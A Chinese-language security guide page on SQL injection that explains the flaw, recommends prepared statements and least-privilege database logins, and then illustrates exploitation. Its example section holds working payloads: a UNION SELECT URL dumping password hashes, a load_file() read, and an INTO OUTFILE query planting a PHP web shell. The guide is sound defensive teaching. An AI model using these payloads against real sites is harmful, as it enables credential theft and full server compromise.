网络应用安全指南/SQL 注入
如果包含在数据库查询中的用户输入没有正确转义,就会出现 SQL 注入漏洞。这种漏洞允许攻击者更改数据库查询,从而使他们能够获取或修改数据库内容。
为了防止这种类型的攻击
- 使用预处理语句访问数据库 – 或 –
- 使用存储过程,使用适当的语言/库方法或预处理语句进行访问
- 始终确保应用程序使用的 DB 登录名仅具有所需的权限
基本原理
手动转义输入容易出错,而且可能会被遗忘。使用预处理语句,会自动应用正确的转义。这还避免了由于不同的输入解释(字符集、空字节处理等)导致的难以发现的漏洞问题。使用具有有限访问权限的数据库登录名可以限制成功攻击的影响。
利用
SQL 注入可以危害数据库中的任何信息,甚至会导致系统完全被破坏。它可以用来在网页中添加 PHP、HTML 和 JavaScript 代码,并创建文件。添加到网站的任意内容可用于针对用户的恶意攻击,以及获取对服务器的 shell 访问权限。
示例
如果本网站页面标题的输入容易受到 SQL 注入攻击,那么用于攻击的 URL 将是 https://wikibooks.cn/w/index.php?title=。一个简单的测试来揭示输入是否容易受到攻击,是在 https://wikibooks.cn/w/index.php?title=' 后添加,因为这种 SQL 语法会破坏查询,并在页面上显示 SQL 错误。下一个查询可以是使用类似 https://wikibooks.cn/w/index.php?title=1%20UNION%20ALL%20SELECT%20user_pass%20FROM%20wiki_user;-- 的内容来选择用户名和哈希密码。结尾的 ;-- 结束查询,并使剩余的查询成为注释。可以转储包含密码盐的文件,以便攻击者可以使用 select load_file() 查询开始破解密码,并获取对管理员帐户的访问权限。类似于此的一个查询可用于获取对服务器的 shell 访问权限:https://wikibooks.cn/w/index.php?title=UNION%20SELECT%20<? system($_REQUEST['cmd']); ?>,2,3%20INTO%20OUTFILE%20"shell.php";--